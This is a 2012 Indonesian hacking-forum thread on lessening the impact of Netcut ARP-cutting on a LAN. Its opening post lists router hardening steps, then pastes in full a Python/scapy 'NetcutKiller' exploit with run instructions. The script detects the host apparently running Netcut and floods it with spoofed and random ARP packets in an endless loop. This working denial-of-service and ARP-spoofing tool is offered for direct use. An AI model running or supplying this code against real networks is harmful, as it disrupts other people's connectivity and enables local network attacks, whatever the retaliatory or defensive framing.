Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 06-20-2013, 08:58 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Networking › General Networking v
« Previous 1 ... 4 5 6 7 8 ... 14 Next »

[Tutor] Bagaimana Mengurangi Dampak dari Netcut

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
Tutor Bagaimana Mengurangi Dampak dari Netcut
03-12-2012, 05:40 PM (This post was last modified: 03-12-2012 06:11 PM by nobodyknowme.)
Post: #1
nobodyknowme Offline
./Devilz Officer
Posts: 130
Joined: Mar 2012
Reputation: 10
Bagaimana Mengurangi Dampak dari Netcut
sebenernya topologi jaringan juga sangat berpengaruh untuk mengurangi serangan netcut,

masih belom tau apa itu nectcut? , oke buffer this video





ex , konfigurasi di wifi

mecegah AP dan Klien dalam satu jaringan wireless untuk saling berkomunikasi. dengan menceklist fiture enable client isolation ..

[Image: nc1x.jpg]

kemudian untuk radio yang lain tinggal diubek ubek saja..

langkah ke 2

kita harus membuat fake gateway
fungsinya salah membaca konfigurasi jaringan dan tidak bisa meng-cut gateway.

langkah-langkah cara pembuatan fake gateway, ini cuma baru ditester di router mikrotik, untuk router yang lain menyesuaikan ketawa

Code:
http://forum.mikrotik.com/viewtopic.php?f=2&t=50318

masih bingung juga ?

unduh videonya
ukuran 7.2 MB
http://www.mediafire.com/?l3da7ddfo9tu9j2

langkah ke 3 DROP ICMP paket /ping
kayaknya terlalu ribet nanti clientnya kalo ini didisable ketawa , optional aja deh

langkah ke 4 , gunakan router yang powerfull seperti mikrotik / pfsense, clearOS dll, karena sekarang banyak router - router murah meriah dipasaran tetapi router itu kurang recomended untuk dibeli ketawa


langkah ke 5 gunakan PPPOE server untuk koneksi ke internet ketawa, mungkin hal ini masih jarang digunakan karena kita harus berada pada signal wifi yang cukup baik untuk bisa berkomunikasi, dan installasinya yang rumit untuk client.

itu untuk posisi kita sebagai Network Admin , kalau posisi kita berada pada client , maybe hal yg bisa kita lakukan adalah mengunduh software2 anti-netcut
seperti http://www.mediafire.com/?onouyj315jh

Code:
#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video  http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz :  ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma

from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys

#gw_mac = commands.getoutput("arp -i %s | grep %s" % (conf.iface,conf.iface)).split()[2]
gw_ip  = commands.getoutput("ip route list | grep default").split()[2]
    
def protect(gw_ip,gw_mac):
    os.popen("arp -s %s %s" %(gw_ip,gw_mac))
    print "Protected himself"
    
def detect():
        ans = sniff(filter='arp',timeout=7)
        target=[]
        for r in ans.res:
            target.append(r.sprintf("%ARP.pdst% %ARP.hwsrc% %ARP.psrc%"))
        return target

def preattack(gw_ip):
    num = []
    count = 0
    target = 0
    temp = 0
    print "Detecting..."
    d = detect()
    for i in range(len(d)):
        if d[i].split()[0] == "255.255.255.255":
            num.append(d.count(d[i]))
            if d.count(d[i]) > count:
                count = d.count(d[i])
                target = i
        if d[i].split()[0] == gw_ip:
            temp += 1      
    if len(d) < 7:
        print "[-] No one use Netcut or try again"
        exit()
    if len(num)*7 < temp:
        num[:] = []
        count = 0
        result = float(temp)/len(d)*100
        for j in range(len(d)):
            if d[i].split()[0] == gw_ip:
                num.append(d.count(d[j]))
                if d.count(d[i]) > count:
                    count = d.count(d[i])
                    target = i
            num.reverse()
            result = float(temp)/len(d)*100
        print target
    else:
        num.reverse()
        result = float(num[0]+temp)/len(d)*100
    
    print "There is a possibility that " + str(result) + "%"
    if result>= 50:
        target_mac = d[target].split()[1]
        target_ip = d[target].split()[2]
        print "[+]Detected, Netcut using by IP %s MAC %s" %(target_ip,target_mac)
        attack(target_mac,target_ip,gw_ip)    
    else:
        print "[-] No one use Netcut or try again"

def attack(target_mac,target_ip,gw_ip):
    print "[+]Counter Attack !!!"
    e = Ether(dst="FF:FF:FF:FF:FF:FF")
    while 1:
        a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
        p = e/a/Padding("\x00"*18)
        sendp(p,verbose=0)
        a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
        p1 = e/a1/Padding("\x00"*18)
        sendp(p1,verbose=0)
        
if __name__ == '__main__':
    os.system("clear")
    print   "###################################################"
    print    " __  __    __     __    _____   __      __  _   _"
    print    "|  \/  |   \ \   / /   / ____|  \ \    / / | \ | |"
    print    "| \  / | __ \ \_/ /_ _| (___   __\ \  / /__|  \| |"
    print    "| |\/| |/ _\ \   / _\ |\___ \ / _ \ \/ / _ \ . \ |"
    print    "| |  | | (_| || | (_| |____) |  __/\  /  __/ |\  |"
    print    "|_|  |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|"
    print   " "
    print   "###################################################"
    print   ""
    print   "http://mayaseven.blogspot.com"
    print   ""
    if len(sys.argv) == 2 or len(sys.argv) == 3:
        if len(sys.argv) == 2:
            conf.iface=sys.argv[1]
            preattack(gw_ip)
        if len(sys.argv) == 3:
            conf.iface=sys.argv[1]
            gw_mac = sys.argv[2]
            protect(gw_ip,gw_mac)
            preattack(gw_ip)
    else:
        print '''Mode:  
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
        
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway>
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
'''


# 1337day.com [2012-01-04]

Netcut 2.0 Denial of service

python filenameexploit.py [ethernet] [macaddress], contoh: python netcutkiller.py eth0 CC:CC:CC:CC:CC:CC

http://1337day.com/exploits/17338


NB : Langkah langkah diatas bukan menangkal serangan netcut , mungkin hanya mengurangi dampaknya, mudah mudahan ini berguna di devilzc0de .. thx
Find all posts by this user
Quote this message in a reply
 Reputed by :  Super Moderator(+1)
03-12-2012, 05:54 PM
Post: #2
g4t4n4 Offline
./Devilz Officer
Posts: 145
Joined: Dec 2011
Reputation: 4
RE: Bagaimana Mengurangi Dampak dari Netcut
masi gak mudeng,,
belajar dulu
Visit this user's website Find all posts by this user
Quote this message in a reply
03-13-2012, 02:15 PM
Post: #3
Super Moderator Offline
Wahyu Adi Prasetyo
****
Global Moderators
Posts: 7,026
Joined: Jan 2010
Reputation: 237
RE: Bagaimana Mengurangi Dampak dari Netcut
good thread om mantap
Visit this user's website Find all posts by this user
Quote this message in a reply
03-17-2012, 04:04 PM
Post: #4
nobodyknowme Offline
./Devilz Officer
Posts: 130
Joined: Mar 2012
Reputation: 10
RE: Bagaimana Mengurangi Dampak dari Netcut
terima kasih ketawa
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  script buat detect netcut/ARP spoofing kiddies 13 5,701 03-16-2013 06:47 AM
Last Post: panjidani
Information Tools untuk mengamankan dari Man In The Middle (MITM) attack ubuntux 20 2,729 08-09-2012 07:03 PM
Last Post: ubuntux
  [Ask] BAGAIMANA Memulai Bisnis VPN? H.W.K 0 340 06-28-2012 09:17 AM
Last Post: H.W.K
  Cara Mengetahui Berapa Banyak Router dari Server kita ke google.com ev1lut10n 5 818 03-07-2012 10:36 AM
Last Post: bl4ckside
  [Cara Ngakses Gopher dari Console Linux] ev1lut10n 3 574 02-26-2012 02:59 PM
Last Post: thedexwan
  [Solved] bagaimana cara melihat semua ip yang terkoneksi dengan kompi kita? gandeso 3 876 12-20-2011 10:09 PM
Last Post: gandeso
  [Ask] Menggunakan 1 Koneksi dari 2 Ethernet Card Shamister 21 3,973 09-13-2011 02:46 PM
Last Post: bigworld
  Mematikan Komputer Dari Jauh Dengan RemShutdown monkey dragon 8 2,100 07-19-2011 10:34 PM
Last Post: fachrils
Question [Ask] [ASK] Gak bisa ngeping host dari guest virtualbox.. ionest 14 3,087 06-09-2011 09:08 PM
Last Post: aditya.n.r
  [Ask] merubah sertifikasi SSL bawaan dari CMS prestashop tukang.martabak.depan.kampus 5 1,014 05-25-2011 07:49 PM
Last Post: whitecoinDC

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 06-20-2013, 08:58 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE